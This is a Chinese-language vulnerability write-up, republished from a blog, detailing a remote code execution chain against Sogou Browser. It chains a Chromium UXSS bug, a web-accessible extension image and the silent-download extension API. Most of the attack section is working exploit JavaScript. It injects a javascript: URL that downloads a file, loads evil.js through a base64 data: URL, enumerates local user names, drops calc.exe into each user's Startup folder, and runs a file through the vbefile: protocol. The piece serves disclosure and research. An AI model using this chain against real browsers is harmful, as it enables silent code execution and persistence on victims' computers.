本文屬于瀏覽器安全系列第三篇,目錄如下
原文鏈接:http://zhchbin.github.io/2016/10/06/Sogou-Browser-RCE/
作者:zhchbin
案例鏈接:http://www.wooyun.org/bugs/wooyun-2016-0213422
免責聲明
本博客提供的部分文章思路可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
0x00 首先是UXSS
具體見:https://bugs.chromium.org/p/chromium/issues/detail?id=569496
瀏覽器版本號:6.3.8.21279
0x01 既然可以UXSS,我們找個特權域
從漏洞 http://wooyun.org/bugs/wooyun-2010-0145023 我們可以知道搜狗瀏覽器的擴展有下載任意文件到任意位置的API!我們自己寫一個惡意擴展,提交并通過審核的可能性基本為0。這個API這么好用,但又只能從:se-extension://域名下進行調用,好像很難構造吧。
sogouExplorer.downloads.downloadSilently({
url:"http://tmxk.org/img/r-c.png",
filename:"dd.exe",
path:"d:\",
method:"GET"
})
我在想怎么利用上面的UXSS的時候,突發奇想的測試了一下,我們能不能打到se-extension://這個域名,于是進行一下測試。我找了一個搜狗瀏覽器安裝時啟用的默認擴展,找到其background.html的地址:se-extension://ext238561744/background.html。結果當然是沒有那么容易,會提示如下的信息:
Denying load of se-extension://ext238561744/background.html. Resources must be listed in the web_accessible_resources manifest key in order to be loaded by pages outside the extension.


0x02 難道沒法子?
我認真的讀了兩秒這個提示后,原來還允許開發者通過web_accessible_resources指定某些資源,從而實現在擴展外被訪問!當然,我們就去試試運氣去默認的擴展下找找看有沒有吧。搜狗瀏覽器安裝的插件在這個目錄下:
C:\Users\Username\AppData\Roaming\SogouExplorer\Extension
grep一下,找到了一個插件,搜狗打假助手,com.sogou.antiCrime,其manifest.xml文件中有以下的內容:

于是就把要打的域名地址換成了:
se-extension://ext238561744/jd/images/ac-logo.png
一開始我還覺得這是一個PNG圖片,即使沒有被拒絕訪問,也應該用不了擴展的API吧。我本來是很懷疑能不能行的,正想放棄的時候,我還是覺得應該嘗試一發。把PoC里的expolit.html里的f函數改一下,嘗試下載一個文件到c:\Users\目錄下。
備注:后來想想其實也對,因為圖片在瀏覽器打開的時候瀏覽器用自動的使用img標簽插入來顯示圖片。
...
function f() {
console.log("f()")
if (++c1 == 2) {
var x1 = x.contentWindow[0].frameElement.nextSibling;
// x1.src = 'se-extension://ext238561744/background.html'; // Denied
x1.src = 'se-extension://ext238561744/jd/images/ac-logo.png';
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
x1.src = "javascript:if(location != 'about:blank') {console.log(location); sogouExplorer.downloads.downloadSilently({url:'http://127.0.0.1/test.js',filename:'test.js',path:'c:\\\\Users\\\\',method:'GET'});}"
}
}
}
...

0x03 最終我們做到了!
上面下載好文件之后,我們可以直接使用偽協議來執行,在 http://wooyun.org/bugs/wooyun-2010-0177221 最新版依舊沒有加個提示什么的。而且現在我們又擴展名.js了。直接可以執行。當然,我們也可以寫到用戶的啟動目錄中,至于怎么拿到用戶名,這個 http://wooyun.org/bugs/wooyun-2010-0176436 的漏洞都公開了,然后好像什么修復工作都沒有做。
location.href="vbefile:/../../../../../../Users/test.js"
獲取用戶名的過程:用戶訪問open.html,跳轉到data:域下
window.location.href = "data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHA6Ly8xMjcuMC4wLjEvZXZpbC5qcyc+PC9zY3JpcHQ+"
其中base64解密后內容為:
<script src='http://127.0.0.1/evil.js'></script>
evil.js在data域下執行,可以獲取到用戶名列表,然后再跳轉到需要寫calc.exe到啟動目錄的頁面中,完成寫入操作!
function getUsers(data) {
var users = data.match(/<script>addRow\("([^"]+)"/g) || [];
var currentUser=[];
for(var i = 0; i < users.length; i++) {
var user = (users[i].match(/<script>addRow\("([^"]+)"/) || ["", ""])[1];
if(["..", "All Users", "Default", "Default User", "Public", "UpdatusUser", "desktop.ini"].indexOf(user) == -1) {
currentUser.push(user);
}
}
console.log(currentUser);
return currentUser;
}
window.external.extension("getRecommendSidebarExts", "file:///C:/Users/", function () {
var data = JSON.parse(arguments[0]);
if (data.success != true)
return;
location. + getUsers(data.data);
});
寫文件到啟動目錄下:
function f() {
console.log("f()")
if (++c1 == 2) {
var users = top.location.search.replace('?users=').split(',');
var x1 = x.contentWindow[0].frameElement.nextSibling;
// x1.src = 'se-extension://ext238561744/background.html'; // Denied
x1.src = 'se-extension://ext238561744/jd/images/ac-logo.png';
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
var users_str = '';
for (var i = 0; i < users.length; ++i) {
users_str += ('"' + users[i] + '"');
if (i != users.length - 1)
users_str += ',';
}
x1.src = "javascript:if(location != 'about:blank') { var users=[" + users_str + "]; for (var i = 0; i < users.length; ++i) sogouExplorer.downloads.downloadSilently({url:'http://127.0.0.1/calc.exe',filename:'calc.exe',path:'C:\\\\Users\\\\' + users[i] + '\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\',method:'GET'});}"
}
}
}
錄個用偽協議執行的GIF

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/74/
暫無評論